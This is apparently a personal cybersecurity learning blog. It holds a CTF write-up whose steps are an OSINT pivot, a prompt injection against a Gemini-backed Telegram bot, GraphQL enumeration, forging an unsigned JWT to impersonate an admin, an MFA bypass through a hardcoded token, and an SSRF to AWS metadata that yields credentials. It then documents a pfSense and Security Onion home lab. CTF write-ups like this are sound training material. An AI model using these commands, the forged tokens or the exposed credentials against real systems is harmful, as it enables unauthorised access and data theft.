Welcome to RogueOps: My SOC Learning Journey ๐๐
Welcome to RogueOps, my personal Security Operations Center (SOC) learning journal. This site documents my hands-on journey into cybersecurity, where I explore threat hunting, incident response, and SOC toolsโall curated to sharpen my skills and share knowledge.
Current Focus
I have reviewed several SOC analyst job descriptions and identified the key technical skills employers are seeking. My goal is to gain hands-on experience with these skills and document my learning process thoroughly.
Why RogueOps?
- To organize and track my growth as a SOC analyst.
- To demonstrate my technical expertise for recruiters and industry peers.
- To create engaging content that helps me connect and build my presence on LinkedIn and beyond.
What You'll Find Here
- In-depth notes and practical exercises on real-world SOC topics.
- Step-by-step guides for popular SOC tools and workflows.
- Clear, easy-to-navigate documentation powered by mdBook.
Astra Bank CTF Report
Author: Jaswanth Sunkara (kick)
Date: 24-08-2025
Welcome Challenge - Flag 1

suryanandanmajumder@gmail.com
Challenge Description
Astra Bank has been hit by a massive cyberattack. The attackers left no clear trace behind. CloudSEK analysts discovered that the email suryanandanmajumder@gmail.com was used by the attacker. The mission was to continue the investigation and uncover hidden secrets at each step.
Approach
- OSINT Recon:
- Initiated an email search using OSINT techniques.
- Googled
"email osnit online"and discovered the website epieos.com - Searched the email address on the site, which returned three links: Google Maps, Google Calendar, and Google Plus Archive.

- Analyzing the Results:
- Google Calendar and Archive contained no useful information.
- Google Maps review contained a GitHub link embedded within a review image.

- Following the GitHub Trail:
- Navigated to the GitHub repository linked from the Maps review.
- Checked the commit history and carefully inspected each commit.
- Found the flag in one of the commit messages.



Flag
CloudSEK{Flag_1_w3lc0m3_70_7h3_c7f}
Hacking the Hacker - Flag 2
Challenge Description
The investigation continued from the previous step. The GitHub repository discovered in the Google Maps review contained code, hinting at further hidden clues. The task was to analyze the repository for potential leads.
Approach
-
Inspecting the Repository:
- Opened the repository linked from the previous step.
- Carefully reviewed the code files and commit history for anything unusual.
-
Identifying the Telegram Bot:
- Found a Python script in the repository controlling a Telegram bot.
- Noticed the bot token placeholder referencing
@ChaturIndiaBot. - Also spotted a comment indicating a secret flag reference using:
os.getenv('FLAG_2_URL')

- Following the Bot:
- Searched for
@ChaturIndiaBoton Telegram. - I understood this has to be Prompt Injection from the python script as script contained gemini-2.5-flash references
- Interacting with the bot led to the discovery of the second flag.

- Decoding the ASCII code gave the link to pastebin
[72, 116, 116, 112, 115, 58, 47, 47, 112, 97, 115, 116, 101, 98, 105, 110, 46, 99, 111, 109, 47, 114, 97, 119, 47, 116, 90, 67, 87, 80, 99, 54, 84]
python3 -c "print(''.join(chr(int(x)) for x in '72 116 116 112 115 58 47 47 112 97 115 116 101 98 105 110 46 99 111 109 47 114 97 119 47 116 90 67 87 80 99 54 84'.split())) )"
https://pastebin.com/raw/tZCWPc6T

- First link provided an audio file, which is a morse code tone

- I googled "online morse decoder" and found the below website. But the output was not the flag.

FLAG2!W3!H473!AI!B07I -- incorrect
- Tried with different website: https://morsecodegenerator.org/morse-audio-translator

Flag
CloudSEK{FLAG2!W3!H473!AI!B07S}
Attacking the Infrastructure - Flag 3
Description
The Pastebin link from the previous challenge (https://pastebin.com/raw/tZCWPc6T) pointed us to a BeVigil report for an Android app:
https://bevigil.com/report/com.strikebank.easycalculator

Approach
- Exploring BeVigil Report
- After logging into BeVigil and reviewing the app analysis report, I noticed two important findings:
- ignored google API key, probably Google Maps API key.

- Hardcoded strings inside the appโs
strings.xmlfile. - An exposed endpoint:


<string name="base_url">http://15.206.47.5:9090</string>
<string name="graphql">/graphql</string>
- There was also about firebase, I tried simple reading the data unauthenticated, it resulted nothing useful, and didn't purse it further.
- GraphQL Introspection
- I had troubles with setting up burpsuite on wayland initially, so meanwhile I tried with curl.
- I used the below basic Introspection query.
curl -X POST http://15.206.47.5:9090/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __type(name:\"Query\") { fields { name type { name kind ofType { name kind } } } } }"}'
{"data":{"__type":{"fields":[{"name":"showSchema","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"listUsers","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"UserShort"}}},{"name":"userDetail","type":{"kind":"OBJECT","name":"Detail","ofType":null}},{"name":"getMail","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"getNotes","type":{"kind":"LIST","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"getPhone","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"UserContact"}}},{"name":"generateToken","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"databaseData","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"dontTrythis","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"BackupCodes","type":{"kind":"SCALAR","name":"String","ofType":null}}]}}}
- I tried with query field
generateToken - It generated a guest token for username:
John.d
curl -X POST http://15.206.47.5:9090/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ generateToken }"}'
{"data":{"generateToken":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6Ilg5TDdBMlEiLCJ1c2VybmFtZSI6ImpvaG4uZCJ9."}}
- I queried the users using the below command. We are able to retrieve usernames and IDs without any authentication.
curl -X POST http://15.206.47.5:9090/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ listUsers { id username } }"}'
{"data":{"listUsers":[{"id":"X9L7A2Q","username":"john.d"},{"id":"M3ZT8WR","username":"bob.marley"},{"id":"T7J9C6Y","username":"charlie.c"},{"id":"R2W8K5Z","username":"r00tus3r"}]}}
- I retrieved the Schema using the below query field.
curl -X POST http://15.206.47.5:9090/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ showSchema }"}'
type Address {
city: String
region: String
country: String
}
type Credentials {
username: String
password: String
}
type Detail {
first_name: String
last_name: String
email: String
phone: String
bio: String
role: String
address: Address
notes: [String]
credentials: Credentials
flag: String
profile: String
}
type UserShort {
id: ID!
username: String
}
type UserContact {
username: String
phone: String
}
type Query {
showSchema: String
listUsers: [UserShort]
userDetail(id: ID!): Detail
getMail(id: ID!): String
getNotes: [String]
getPhone: [UserContact]
generateToken: String
databaseData(
filter: String
limit: Int
deepScan: Boolean
token: String
format: String
path: String
): String
dontTrythis(
user: String
hint: String
attempt: Int
verbose: Boolean
timestamp: String
): String
BackupCodes(
requester: String
emergencyLevel: Int
method: String
signature: String
expiry: String
): String
}
- I modified the guest token with
r00tus3rID and username and copied the modified token. Since there was no encryption it was easy modification.


userDetailretrieves user details along with the flag and takes useridas argument.
curl -X POST http://15.206.47.5:9090/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IlIyVzhLNVoiLCJ1c2VybmFtZSI6InIwMHR1czNyIn0." \
-d '{"query":"{ userDetail(id:\"R2W8K5Z\") { flag } }"}'
{"data":{"userDetail":{"flag":"CloudSEK{Flag_3_gr4phq1_!$_fun}"}}}

- We also got email and password, I copied it in my notes, could be used later.
- I took note of the
roleas "Platform Administrator". I thought maybe there could be system Administrator or Administrator roles but that wasn't the case. - I tried to gather more info by using other query fields like "
getNotes,getMail,getPhone,DatabaseDataandDontTrythis" but they weren't useful.
Flag
CloudSEK{Flag_3_gr4phq1_!$_fun}
Bypassing Authentication - Flag 4
Description
From the previous challenge, we discovered a endpoint for Flag 4. Initially I did not query all the details of the r00tus3r user. Took a break and came back and as I was reviewing through my notes it occurred to me that I didn't retrieve all the details of the user.
http://15.206.47.5:5000

{ "address": { "city": "Boston", "country": "US", "region": "MA" }, "bio": "Devops Engineer", "credentials": { "password": "l3t%27s%20go%20guys$25", "username": "r00tus3r" }, "email": "alice.wright@example.com", "first_name": "Alice", "flag": "CloudSEK{Flag_3_gr4phq1_!$_fun}", "last_name": "Wright", "notes": [ "privileged account", "monitoring enabled" ], "phone": "+1-617-555-9999", "profile": "[http://15.206.47.5:5000/](http://15.206.47.5:5000/ "http://15.206.47.5:5000/")", "role": "Platform Administrator" }
Approach
- Login
- I used the username and password I got from previous challenge.
r00tus3r
l3t%27s%20go%20guys$25


- Javascript Analysis
- Initially I quickly opened and closed the js file, thought it wasn't relevant.

- After trying various methods to bypass mfa/backup code. I copied the source and gave it to chatGPT and it indicated about js which I initially paid no attention. Then I looked at it again and found the lead.
document.addEventListener("DOMContentLoaded", () => {
const e = document.getElementById("form-title"),
t = document.getElementById("login-form"),
n = document.getElementById("mfa-section"),
a = document.getElementById("login-msg"),
o = document.getElementById("username"),
s = document.getElementById("password"),
i = document.getElementById("mfa-code"),
r = document.getElementById("backup-code"),
d = document.getElementById("profile-name"),
c = document.getElementById("profile-pic"),
l = document.getElementById("profile-role"),
u = document.getElementById("profile-upload"),
m = document.getElementById("dash-flag"),
p = document.getElementById("logout-btn"),
y = document.getElementById("upload-btn"),
g = document.getElementById("toggle-password");
async function f(e, t) {
const n = undefined;
return (await fetch("/api/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
username: e,
password: t
})
})).json()
}
async function h(e, t) {
const n = undefined;
return (await fetch("/api/mfa", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
mfa_code: e,
backup_code: t
})
})).json()
}
async function w(e) {
const t = "YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu",
n = undefined;
return (await fetch("/api/admin/backup/generate", {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Basic ${t}`
},
body: JSON.stringify({
user_id: user_id
})
})).json()
}
async function b() {
const e = await fetch("/api/profile");
return 403 === e.status ? (window.location.href = "/login", null) : e.json()
}
async function E(e) {
const t = await fetch("/api/profile/upload_pic", {
method: "POST",
headers: {
"Content-Type": "application/json",
Accept: "*/*"
},
body: JSON.stringify({
image_url: e
})
});
if (!t.ok) try {
const e = undefined;
return {
error: (await t.json()).error || "Failed to fetch resource"
}
} catch {
return {
error: `Failed (HTTP ${t.status})`
}
}
const n = await t.blob(),
a = undefined;
return {
blob: n,
contentType: t.headers.get("Content-Type") || n.type || "application/octet-stream"
}
}
function v(e) {
return new Promise((t, n) => {
const a = new FileReader;
a.onerror = () => n(new Error("Failed to read blob")), a.onloadend = () => t(a.result), a.readAsDataURL(e)
})
}
async function L() {
await fetch("/api/logout", {
method: "POST"
}), window.location.href = "/login"
}
g ? .addEventListener("click", () => {
"password" === s.type ? (s.type = "text", g.textContent = "๐") : (s.type = "password", g.textContent = "๐")
}), document.getElementById("login-btn") ? .addEventListener("click", async() => {
const d = await f(o.value, s.value);
"success" === d.status ? window.location.href = "/dashboard" : "mfa_required" === d.status ? (t.style.display = "none", n.style.display = "block", n.removeAttribute("aria-hidden"), e && (e.innerText = "Multi-Factor Authentication"), (i || r) ? .focus()) : (a.innerText = d.message || "Wrong username or password", a.classList.add("show"))
});
const I = document.getElementById("tab-auth"),
T = document.getElementById("tab-backup"),
k = document.getElementById("panel-auth"),
B = document.getElementById("panel-backup");
function x(e) {
const t = "backup" === e;
I ? .setAttribute("aria-selected", String(!t)), T ? .setAttribute("aria-selected", String(t)), k ? .classList.toggle("active", !t), B ? .classList.toggle("active", t), B ? .setAttribute("aria-hidden", String(!t)), k ? .setAttribute("aria-hidden", String(t)), (t ? r : i) ? .focus()
}
I ? .addEventListener("click", () => x("auth")), T ? .addEventListener("click", () => x("backup"));
const S = document.getElementById("mfa-btn"),
A = document.getElementById("mfa-btn-backup");
async function O() {
const e = await b();
e && (d && (d.innerText = `${e.first_name} ${e.last_name} (@${e.username})`), c && (c.src = e.profile_pic), l && (l.innerText = e.role), m && (m.innerText = e.flag))
}
S ? .addEventListener("click", async() => {
const e = await h((i ? .value || "").trim(), "");
"success" === e.status ? window.location.href = "/dashboard" : (a.innerText = e.message || "Invalid MFA/backup code", a.classList.add("show"))
}), A ? .addEventListener("click", async() => {
const e = await h("", (r ? .value || "").trim());
"success" === e.status ? window.location.href = "/dashboard" : (a.innerText = e.message || "Invalid MFA/backup code", a.classList.add("show"))
}), [i, r].forEach(e => {
e ? .addEventListener("keydown", e => {
"Enter" === e.key && (B ? .classList.contains("active") ? A ? .click() : S ? .click())
})
}), document.getElementById("back-to-login") ? .addEventListener("click", () => {
n.style.display = "none", n.setAttribute("aria-hidden", "true"), t.style.display = "flex", e && (e.innerText = "Sign In")
}), p ? .addEventListener("click", L), y ? .addEventListener("click", async() => {
const e = document.getElementById("dash-msg");
e.classList.remove("show", "alert-error", "alert-success"), e.innerText = "";
const t = u ? .value.trim();
if (!t) return e.innerText = "Please enter a URL.", void e.classList.add("show", "alert-error");
const n = await E(t);
if (n.error) return e.innerText = n.error, void e.classList.add("show", "alert-error");
try {
const t = await v(n.blob),
a = new Image;
a.onload = function() {
c && (c.src = t), e.innerText = "Profile picture updated!", e.classList.add("show", "alert-success")
}, a.onerror = function() {
e.innerText = "Please provide a valid image.", e.classList.add("show", "alert-error")
}, a.src = t
} catch {
e.innerText = "Failed to process response.", e.classList.add("show", "alert-error")
}
}), [o, s, i, r].forEach(e => {
e ? .addEventListener("input", () => {
a.classList.remove("show"), a.innerText = ""
})
}), u ? .addEventListener("input", () => {
const e = document.getElementById("dash-msg");
e.classList.remove("show", "alert-error", "alert-success"), e.innerText = ""
}), "/dashboard" === window.location.pathname && O()
});
Authorization: Basic YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu- Base64-decoded >
api-admin:ApiOnlyBasicToken - Below part of the code is crucial. We can use it to generate backup code by providing user_id as argument with admin basic authentication token.
async function w(e) {
const t = "YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu",
n = undefined;
return (await fetch("/api/admin/backup/generate", {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Basic ${t}`
},
body: JSON.stringify({
user_id: user_id
})
})).json()
}
- Generate backup codes
- I needed user ID for user
r00tus3rbut the ID I got in the previous challenge didn't work here.

- I decoded the the cookie value (jwt) and got the
user_id
eyJsb2dnZWRfaW4iOmZhbHNlLCJ1c2VyX2lkIjoiZjJmOTY4NTUtOGMwNS00NTk5LWE5OGMtZjdmMmZkNzE4ZmEyIiwidXNlcm5hbWUiOiJyMDB0dXMzciJ9.aKrrCw.EghNTMHsWK0g4-DjVYpuyWglVN0

- Used that
user_idto generate backup_codes.

- Used backup code to login

- After logging in we got the flag.

Flag
CloudSEK{Flag_4_T0k3n_3xp0s3d_JS_MFA_Byp4ss}
The Final Game - Flag 5
Description
It is a DNS rebind SSRF vulnerability on aws.
Procedure
- Information gathering
- I looked at source and took note of aws bucket URL and assumed it could be cloud related challenge.

- After trying with multiple SSRF vulnerabilites:
- Single redirection - not worked
- Looked for any open redirect endpoint - not found
- Http headers - not worked
nulland boolean (true) as values - not worked- DNS rebind - worked
- I used
169.254.169.254as second IP as it the local IP for aws since we already assumed it could be related to cloud.


- Exploitation
- After finding the vulnerability. I started gathering bucket credentials.


- Configure aws
aws configure set aws_access_key_id ASIA4A3BVGI342AHBPXL
aws configure set aws_secret_access_key/sB67CVsp5560hd4C2cow9qgtXHYLV23YqGZm4Hr
aws configure set aws_session_token "IQoJb3JpZ2luX2VjENn//////////wEaCmFwLXNvdXRoLTEiRjBEAiAQiec8WjEDWKMlolTwFiZB/t9sMU3cJTEXLbQwQKCCfgIgZOj9DRRCjyADE1jypXixQMq5gyqZkfXHdMqEpV54iwYqtgUIMhAAGgw4MjY0NDkxNDY0MjMiDCGTR0vMkkydDW/CuiqTBfjg/vJ+3EUflLOVtZwUBzLjhSqDxy/FHE18/Z609bAi/TIJWhIPvt86P57rKMf74GMCT+WY7yygWpfq3srthTYWrUmsinS9Ci5CiLKyD3/kgjLPTuAFN+gXoak1VEgBQDTX8nPiHgllCyBGrzT4pr6TkZWX7oNd1CK6US16goO13/J9hFjIVZF616Qkml3dCv/cWJPLq7Il0muzVgqdtmfwF7lN3rCVKZaqUFuLffz3cUuHTMS9dTNZqm1lSob7QdWKrUYhVAzmVvnp5xJOvUD2HoWtl643lGrJkgB6dkW74sC6zPdcAPTUFGPY3uzQRUuNAC4aPg7uOVwIUceHQM0PQDSol+PdOd8rv0kWwlqvKIF1Fx87SJtuCM8ig7mabIW3UA7u9bIaySrvZmERqQObrmlZekRPr+s/oo/0ZADlwLvrWp3RW8SwojXHPi67mPIsLA54WtS+e001SB5aCpqLdwwRuPYZjKDDPB5qQQ6NgGm6UTcJf1ldIr3YPkZv7XXjEJR9dENVzqA3wbasWxJbsi+0nBVhNzHPGa/opnaUyrggG6vLt08lJyU5+DaVc2vYlXQt7085Z1wkdDQz4Q5pgakFDXpTUrSdSdTofKLLlbO5kNsdeQVO7fHbyU0cI+5nwvTq+NZ33+YyyqzC6rb28mHaQs+uaUtgRm8/7w3ZqLkD1q7sfWMnGaDJ5TZf148qIvPGCB4Odt5XbL96Y7GqQ+Z5zW1ndjmACmqIQrOOCdWrqu2NqtB0cDg0ghtiAiz7yUVwUhX9hbogktTUXuq/5n+oDrUaGtAZ6HvynB0l6OC3/J9b8LgJqiVS+rN4l3UyO5WqpqfBgjm+AC1RnSVGynrk4OBA52PxX1sZ8+Pg1ntnMMHkp8UGOrIBgXkVycF4Qa7mgewkEKl1w2VuqAs9X232MmKdfnEKFdLqu6Sag97BshOnKnDl8wkdX7PMML9RG0rMvp/8RzfmHx1jDUBZq183LQQ4Ypm5wL8IbubA1cmiJsp2nVASX0JYsObOKzjB60PBRoUt/C0WdZ0NcRjlTalz/P47LlShdBBIiG0Py8na/RY+cMbfa6wgx8Yt1N1ps1ULsU2kcppsKbmGKkfjZOpEoFLfr16YyMX3yw=="
aws configure set default.region ap-south-1
- Finding the flag
aws s3 ls s3://cloudsek-ctf/ --region ap-south-1
PRE static-assets/
2025-08-21 15:30:43 42 flag.txt
aws s3 cp s3://cloudsek-ctf/flag.txt ./flag.txt --region ap-south-1

Flag
CloudSEK{Flag_5_$$rf_!z_r34lly_d4ng3r0u$}
#0. Overview of the Lab
.png)
VMs
- pfSense
- kali
- SecurityOnion
- Windows
- Linux (optional)
Network subnets
| Network Name | Machine | Subnet |
|---|---|---|
| Green | Windows, Linux | 10.10.10.100/24 |
| Blue | Security Onion | 10.10.20.100/24 |
| Red | Kali | 10.10.30.100/24 |
| VPN | Host machine | 10.10.3.2/24 |
System resources
| VM | RAM (GB) | CPU Cores | ROM (GB) |
|---|---|---|---|
| SecurityOnion | 8 | 4 | 90 |
| Kali | 2 | 2 | VM image (80) |
| Windows LTSC | 2 | 2 | 25 |
| pfSense | 1 | 1 | 20 |
My setup
- Host machine OS: ArchCraft
- RAM: 14 Gigs
- Processor: Ryzen 5 (8 cores)
- Hypervisor: virt-manager/KVM
- ROM: 256 SSD
โ ๏ธ Notes from my side
I suggest you to go through the full setup notes before proceeding, it could clear any doubts when setting it up.
Sometimes, all configuration looks good, but things don't work as they should be, just restart the VMs (literally)
I enabled ssh on all VMs for easy troubleshooting.
#1 Networking
Assign these bridges to your VMs
Use the bridge setup script
The order of bridging interfaces doesnโt matter, but hereโs a recommended setup.
-
pfSense VM interfaces:
- WAN โ
NATto host machine - LAN โ
br-green - OPT1 โ
br-blue - OPT2 โ
br-red - OPT3 โ
VPN - OPT4 โ
br-mon(SPAN port)
- WAN โ
Configure pfSense
- DHCP : To assign IPs automatically to the connected VMs
- OpenVPN : To access VMs without NAT-ing to host machine.
- DNS
- Firewall : To allow VPN clients
Interfaces
- OPT5, OPT3 are assigned but not enabled.

Example
- I chose same mac address as Network port above in configuring GREEN interface

Configure Mirroring/SPAN port on pfSense
- Rename one of the interfaces as Mirror and connect it to bridge
br-mon. - We're using pfSense to perform software-based port mirroring (SPAN), duplicating traffic from specific interfaces (GREEN) to a monitoring interface (OPT4 โ br-mon) for analysis.

- Go to : Interfaces โ Bridges.
- Click on Advanced Options.

Firewall Rules
- I gave VPN access to all subnets, so I can ssh and troubleshoot easily.
GREEN

BLUE

RED

Mirror

VPN
- When setting up your VPN make sure you have a setting to access internal network subnets. Configure it in VPN servers.
- Go to : VPN โ OpenVPN โ Servers

#2 Security Onion
- There are a few caveats to be addressed in our setup.
- Make sure you have network mirroring working.
Iptables
- This one took me literally 2 days, I think, to get it right, because I tried messing with iptables manually from cli. It was a pain.
- Stop iptables:
sudo systemctl stop iptables
- Now you can access the soc platform on the host machine:
10.10.20.100(I also reserved static ip on the pfsense via DHCP Static Mappings) - Follow this guide: https://docs.securityonion.net/en/2.4/firewall.html#configuring-host-firewall
- For some reason after starting iptables, if you still don't access, restart the VM.
Test suricata alert
- Create ICMP test alert

- ping from a red machine to green machine. It can take few mins before it shows up in alerts.
ping -c4 -4 10.10.10.100 # from kali

#3 Scripts to make life easy
I have these script in ~/.custom-scripts-bin. I also added that path to $PATH in .zshrc
- pfsense_vm : start pfsense vm from cli
- setup_bridges_soc : creates and runs bridges
- kali_vm : start kali vm from cli
- SecurityOnion : runs setup_bridges_soc, pfsense_vm, start securityonion from cli
- connect_VPN : simple script to connect to vpn
setup_bridges_soc
#!/bin/bash
# List of bridge names
BRIDGES=("br-green" "br-blue" "br-red" "br-mon")
for BR in "${BRIDGES[@]}"; do
# Check if bridge already exists
if ip link show "$BR" &>/dev/null; then
echo " $BR already exists, skipping."
continue
fi
# Create the bridge
sudo ip link add name "$BR" type bridge
# Bring the bridge up
sudo ip link set "$BR" up
done
kali_vm
- vm name should be
kali
#!/usr/bin/bash
virsh --connect qemu:///system start kali
pfsense_vm
- vm name should be
pfsense
#!/usr/bin/bash
setup_bridges_soc
virsh --connect qemu:///system start pfSense
SecurityOnion
- vm name should be
SecurityOnion
#!/usr/bin/bash
setup_bridges_soc
pfsense_vm
virsh --connect qemu:///system start SecurityOnion
PATH
export PATH=$PATH:$HOME/.custom-scripts-bin/
pfSense is an open-source firewall and router software based on FreeBSD. It provides powerful network security features such as stateful packet filtering, VPN support, traffic shaping, and intrusion detection, all accessible through an easy-to-use web interface.
Objectives
- Learn to utilize pfSense to protect internal network.
- Services configuration: DHCP, DNS, SSH, VPN
- Firewall rules
- PFBlockerNG: GeoBlocking, DNSBL
- IDPS: snort testing
Setup
- Download & install
pfSenseon your hypervisor (I use Virt-Manager) from this video or any other but watch videos from 2025: https://www.youtube.com/watch?v=Y-Dj8lHmXy8 - pfSense requires a WAN interface to be configured. The LAN interface can be skipped and configured later.
Access Admin interface from WAN interface
- By default you cannot access admin interface from WAN subnet like from your host machine, for that quickest way is to disable firewall temporarily.
- I ssh-ed here, we will see later how to enable that.
- Command to disable firewall.
pfctl -d
- Then go to that WAN IP of the pfSense on the browser to access it.

Enabling SSH Access
To manage pfSense remotely via SSH, you need to enable and configure the SSH service.
Steps to Enable SSH
-
Log in to the Web GUI
- Default : Username:
admin, Password:pfsense
- Default : Username:
-
Navigate to SSH Settings
- Go to: System โ Advanced โ Admin Access

- Scroll down to the Secure Shell section
- Check the box: "Enable Secure Shell"

- Scroll all the way and click "Save"
Configure pfSense Firewall to Allow SSH
- Go to: Firewall โ Rules โ WAN

- Click on "Add"
- Do as image suggests and click "Save", change WAN to LAN as per your preference.

- Click on "Apply Changes". Most important one, I was troubleshooting without applying changes for some time :)

- Access via Terminal
- Type your admin password when prompted.
ssh admin@<pfSense-IP>
SSH via Key
If you want to configure ssh key then follow this, mind you, you still need to enable SSH in firewall as shown above. Video suggested: https://www.youtube.com/watch?v=oakOE2iDkhU
Create SSH keys in Linux
ssh-keygen -t ed25519 -C "admin@pfSense.local"

Configure pfSense with SSH key
- Go to: 1. System โ User Manager โ Users
- Click on "Pencil" icon

- Scroll down to : Keys
- Paste your Public Key here

Access via terminal
ssh -i .ssh/id_ed25519 admin@$IP
DHCP Configuration
- Go to: Services โ DHCP Server
- Choose which interface you want to configure DHCP, below image is showing LAN config.
- Specify Address Pool Range excluding the IP which the pfSense configured on.
- Scroll down and click "Save".

- You can check DHCP leases here: Status โ DHCP Leases

DNS
Set DNS Servers
- Go to: System > General Setup
- Scroll to the DNS Server Settings section.
- Enter your preferred DNS servers (
1.1.1.1,8.8.8.8). - Also change DNS Resolution Behaivor as you need.
- Default: Uses local DNS server on the pfSense and fallback to remote servers.
- Check the box "Allow DNS server list to be overridden by DHCP/PPP on WAN ..." if you want WAN-provided DNS. Otherwise, uncheck it to use your own configured DNS servers.
- Click Save.

DNS Forwarderยถ
- The DNS Forwarder in pfSenseยฎ software utilizes the
dnsmasqdaemon, which is a caching DNS forwarder. - Unlike the DNS Resolver, the DNS Forwarder can only act in a forwarding role as it does not support acting as a resolver.
- The DNS Forwarder uses DNS Servers configured at System > General Setup and those obtained automatically from an ISP for dynamically configured WAN interfaces (DHCP, PPPoE, etc).
- This service is disabled by default. The DNS Resolver (
unbound) is the default DNS service. - Use DNS Resolver -- it supports both forwarding and resolving.
DNS Resolverยถ
The DNS Resolver in pfSenseยฎ software utilizes unbound, which is a validating, recursive, caching DNS resolver that supports DNSSEC, DNS over TLS, and a wide variety of options. It can act in either a DNS resolver or forwarder role.
- Go to: Services โ DNS Resolver โ General Settings
- Enable options are seen in the below image.
- Enable SSL/TLS for encrypted DNS queries from local clients like LAN.
- Use appropriate Outgoing Network Interfaces like WAN to resolve DNS quires rather than sending request to all the interfaces.
- Imagine Unbound (not restricted) sends a DNS query out through LAN, where clients also use pfSense as their DNS.
- The request could circle back into Unbound โ a loop.
- This can cause: Timeouts, Failed resolutions, High CPU usage
- Sending DNS out through the organization's
GUESTnetwork (public Wi-Fi) could:- Leak DNS into untrusted networks
- Be sniffed or redirected
- Allow MITM attacks if DNSSEC isnโt used
- Imagine Unbound (not restricted) sends a DNS query out through LAN, where clients also use pfSense as their DNS.

DNS over TLS (DoT)
- DoT requires Forwarding Mode and SSL/TLS outgoing enabled on DNS Resolver.

pfSense (Unbound) encrypts DNS queries to an upstream DNS provider like Cloudflare, Google, or Quad9 โ over port 853.
- But Unbound's native recursive resolution (non-forwarding mode) means:
pfSense contacts root DNS servers directly (e.g:
.,.com,google.comservers) โ and they do not support DNS over TLS.
DNS over HTTPS (DoH)
- DNS over HTTPS (DoH) is a protocol that encrypts DNS queries using HTTPS (port 443) instead of plain DNS (port 53) or DNS over TLS (DoT).
- pfSense does not natively support DoH in the DNS Resolver (Unbound) or DNS Forwarder (dnsmasq).
- To use DoH on pfSense, you need to run a local DoH proxy that talks to an upstream DoH provider (like Cloudflare or Google).
Domain Name System Security Extensions (DNSSEC)
DNSSEC adds authentication to DNS. It does not encrypt DNS queries (like DoT or DoH) โ instead, it ensures that the DNS response:
- โ Was not tampered with
- โ Came from the legitimate DNS source
- โ Does not provide privacy
How it works
- DNS records are digitally signed by domain owners.
- DNS resolvers (like pfSenseโs Unbound) validate the signature.
- If the signature is invalid or missing, the DNS query fails, protecting you from forged or poisoned responses. Prevents spoofing.
Testing configurations
Testing DNSSEC
- Run this command from one of the LAN machines set up with pfSense.
10.10.10.1- is my pfSense LAN IP/interface.
dig @10.10.10.1 +dnssec dnssec-failed.org
- Output should be like this. Notice
status: SERVFAIL. - Check with a domain that has DNSSEC enabled like: cloudflare.com
; <<>> DiG 9.18.37 <<>> dnssec-failed.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 3270
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1432
;; QUESTION SECTION:
;dnssec-failed.org. IN A
;; Query time: 2520 msec
;; SERVER: 10.10.10.1#53(10.10.10.1) (UDP)
;; WHEN: Fri May 23 11:37:55 IST 2025
;; MSG SIZE rcvd: 46
Testing DoT ยถ
From the docs: ยถ
DNSSEC is not generally compatible with forwarding mode, with or without DNS over TLS.
- Change DNS Resolution Behavior to "Use local DNS, fallback to DNS Servers". This seems to work in my rigorous testing.
- Test via Diagnostics โ DNS Lookup
- Check for states using port
853going in Diagnostics โ States โ States - Refer to the image below, you should be good.

PFBlockerNG: GeoBlocking, DNSBL
How does it work
IP-Based Blocking
- Downloads lists of IP addresses known for malicious activity (malware, bots, spam, etc.), or from specific countries (GeoIP).
- Creates aliases (groups of IPs).
- Uses pfSense firewall rules to block or reject traffic to/from those IPs.
DNSBL
- Runs a local DNS resolver with unbound (built into pfSense).
- Intercepts DNS queries for known ad/tracker/malware domains.
- Returns a fake IP (like 10.10.2.1, the IP you configured for Virtual IP) instead of the real IP.
- This "blackholes" the domain โ no connection can be made.
- Example
- our device asks: โWhatโs the IP of
ads.evilsite.com?โ - pfBlockerNG responds: โIt's
10.10.10.1.โ (a dead end) - So the ad never loads, and no malicious content gets through.
- our device asks: โWhatโs the IP of
Configuration
DNSBL (DNS Blackhole List โ blocks ads, malware, trackers)
- Go to : Firewall โ pfBlockerNG โ DNSBL
- Check Enable DNSBL.
- Set Listen Interfaces for outbound and inbound on PFBlockerNG โ IP : IP Interface/Rules Configuration section
- Check Permit Firewall Rules (to auto-create rules to access DNSBL Webserver (block page).).
- Global Logging/Blocking Mode:
- No Global mode: Logging & blocking depends per
block listsettings - DNSBL mode: Domains are sinkholed to the DNSBL VIP(Virtual IP) and logged.
- Null blocking (no logging): '0.0.0.0' will be used instead of the DNSBL VIP and not logged.
- No Global mode: Logging & blocking depends per
- Save settings and reload in Update tab.
IP Blocking
- Go to : pfBlockerNG โ IP
- ASN Configuration: Enable ASN Reporting for ASN of the logged IP and populate ASN IPinfo Token with it's token.
- MaxMind GeoIP configuration: Populate its fields for GeoBlocking
- Kill States: After each update, this removes any active connections involving blocked IPs.
GeoBlocking Video suggested: https://www.youtube.com/watch?v=q1X0K-wzlTg&t=106s
- Go to : IP โ GeoIP
- Configure action of the preferred continent.
- Click pencil icon on one of the listed continent like: Asia.
- Select countries with
ctrl + click. Example: China, Pakistan, Turkiye.
- Configure the List Action, and "Save" and reload.
Here pakistan.gov.pk website is blocked.

